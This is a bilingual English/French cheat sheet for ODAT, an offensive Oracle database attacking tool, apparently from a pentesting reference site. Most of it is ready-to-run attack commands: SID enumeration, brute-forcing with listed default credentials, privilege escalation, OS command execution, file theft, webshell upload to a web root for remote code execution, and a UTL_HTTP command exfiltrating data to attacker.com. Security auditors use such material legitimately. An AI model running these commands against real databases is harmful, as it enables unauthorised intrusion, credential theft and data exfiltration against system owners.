odat
Oracle Database Attacking Tool. Teste les bases de données Oracle contre divers vecteurs d'attaque : brute-force, injection SQL, exécution Java, upload/lecture de fichiers, et élévation de privilèges. Oracle Database Attacking Tool. Tests Oracle databases for various attack vectors: brute-force, SQL injection, Java execution, file upload/read, and privilege escalation.
↗ https://github.com/quentinhardy/odatOverview
ODAT (Oracle Database Attacking Tool) is an offensive tool for auditing Oracle databases. It automates attacks against Oracle DB instances: account enumeration and brute-force, privilege escalation via known vulnerabilities, Java-based OS execution, file read/write via UTL_FILE, and more.
Installation
git clone https://github.com/quentinhardy/odat
cd odat
pip3 install -r requirements.txt
# Requires Oracle Instant Client
# Download from Oracle website and configure LD_LIBRARY_PATH
Basic Usage
Test all attack modules
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL
With credentials
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger
Brute-force accounts
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL
Test specific module
python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass
Finding Oracle Services
Find Oracle TNS port (default 1521)
nmap -p 1521 --script oracle-tns-version 10.10.10.1
# Enumerate SIDs (Service IDs)
nmap -p 1521 --script oracle-sid-brute 10.10.10.1
python3 odat.py sidguesser -s 10.10.10.1 -p 1521
# Common SIDs:
# ORCL, XE, DB, PROD, TEST, ORACLE, ORA
Brute-Force
Brute-force passwords (known default creds first)
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL
# Default Oracle credentials to try:
# scott/tiger
# system/manager
# sys/change_on_install
# dbsnmp/dbsnmp
# outln/outln
Custom wordlist
python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
--accounts-file /usr/share/wordlists/oracle-default-accounts.txt
Privilege Escalation
Check and escalate privileges
python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger
Via DBMS_SCHEDULER (OS command execution)
python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--exec "whoami"
Via Java (if Java stored procedures enabled)
python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--exec "whoami"
Via UTL_HTTP to exfiltrate data
python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--url "http://attacker.com/data=$(whoami)"
File Operations
Read a file from the DB server
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--getFile C:\Windows\win.ini /tmp/win.ini
Write a file to the server
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx
# Webshell upload → remote code execution
External Table Attack
Create external table to read OS files
python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
--getFile C:\boot.ini /tmp/boot.ini
Tips
- Default creds (scott/tiger) still work on many Oracle instances — try these first
- SID enumeration is required before auth — use
sidguesserfirst - Java execution requires
CREATE PROCEDUREand Java permissions — uncommon on hardened systems - UTL_FILE write to web root = immediate code execution if Apache/IIS is running
Available Modules
all Run all modules
sidguesser Enumerate Oracle SIDs
passwordguesser Brute-force accounts
utlhttp Use UTL_HTTP for requests
httpuritype HTTPURIType attack
utltcp UTL_TCP connections
ctxsys CTXSYS privilege escalation
externaltable External table file read
dbmsxslprocessor XSLT processing attacks
dbmsadvisor DBMS_ADVISOR attacks
utlfile File read/write via UTL_FILE
dbmsscheduler OS command via DBMS_SCHEDULER
java OS command via Java
passwordstealer Steal hashed passwords
oradbg Oracle Debugger attacks
dbmspipe DBMS_PIPE attacks
stealremotepwds Remote password steal
userlikepwd Check user=password
smb SMB hash capture
privesc Privilege escalation
Vue d’ensemble
ODAT (Oracle Database Attacking Tool) est un outil offensif pour auditer les bases de données Oracle. Il automatise les attaques contre les instances Oracle DB : énumération et brute-force de comptes, élévation de privilèges via des vulnérabilités connues, exécution OS via Java, lecture/écriture de fichiers via UTL_FILE, et plus.
Installation
git clone https://github.com/quentinhardy/odat
cd odat
pip3 install -r requirements.txt
# Nécessite Oracle Instant Client
# Télécharger depuis le site Oracle et configurer LD_LIBRARY_PATH
Utilisation de base
# Tester tous les modules d'attaque
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL
# Avec des credentials
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger
# Brute-forcer les comptes
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL
# Tester un module spécifique
python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass
Trouver les services Oracle
# Trouver le port TNS Oracle (par défaut 1521)
nmap -p 1521 --script oracle-tns-version 10.10.10.1
# Énumérer les SID (Service IDs)
nmap -p 1521 --script oracle-sid-brute 10.10.10.1
python3 odat.py sidguesser -s 10.10.10.1 -p 1521
# SID courants :
# ORCL, XE, DB, PROD, TEST, ORACLE, ORA
Brute-force
# Brute-forcer les mots de passe (essayer d'abord les credentials par défaut connus)
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL
# Credentials Oracle par défaut à essayer :
# scott/tiger
# system/manager
# sys/change_on_install
# dbsnmp/dbsnmp
# outln/outln
# Wordlist personnalisée
python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
--accounts-file /usr/share/wordlists/oracle-default-accounts.txt
Élévation de privilèges
# Vérifier et élever les privilèges
python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger
# Via DBMS_SCHEDULER (exécution de commande OS)
python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--exec "whoami"
# Via Java (si les procédures stockées Java sont activées)
python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--exec "whoami"
# Via UTL_HTTP pour exfiltrer des données
python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--url "http://attacker.com/data=$(whoami)"
Opérations sur fichiers
# Lire un fichier depuis le serveur DB
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--getFile C:\Windows\win.ini /tmp/win.ini
# Écrire un fichier sur le serveur
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
--putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx
# Upload de webshell -> exécution de code à distance
Attaque par table externe
# Créer une table externe pour lire des fichiers OS
python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
--getFile C:\boot.ini /tmp/boot.ini
Conseils
- Les credentials par défaut (scott/tiger) fonctionnent encore sur de nombreuses instances Oracle : à essayer en premier
- L’énumération de SID est requise avant l’authentification : utiliser
sidguesserd’abord - L’exécution Java nécessite
CREATE PROCEDUREet des permissions Java : peu courant sur les systèmes durcis - Une écriture UTL_FILE vers la racine web = exécution de code immédiate si Apache/IIS tourne
Modules disponibles
all Run all modules
sidguesser Enumerate Oracle SIDs
passwordguesser Brute-force accounts
utlhttp Use UTL_HTTP for requests
httpuritype HTTPURIType attack
utltcp UTL_TCP connections
ctxsys CTXSYS privilege escalation
externaltable External table file read
dbmsxslprocessor XSLT processing attacks
dbmsadvisor DBMS_ADVISOR attacks
utlfile File read/write via UTL_FILE
dbmsscheduler OS command via DBMS_SCHEDULER
java OS command via Java
passwordstealer Steal hashed passwords
oradbg Oracle Debugger attacks
dbmspipe DBMS_PIPE attacks
stealremotepwds Remote password steal
userlikepwd Check user=password
smb SMB hash capture
privesc Privilege escalation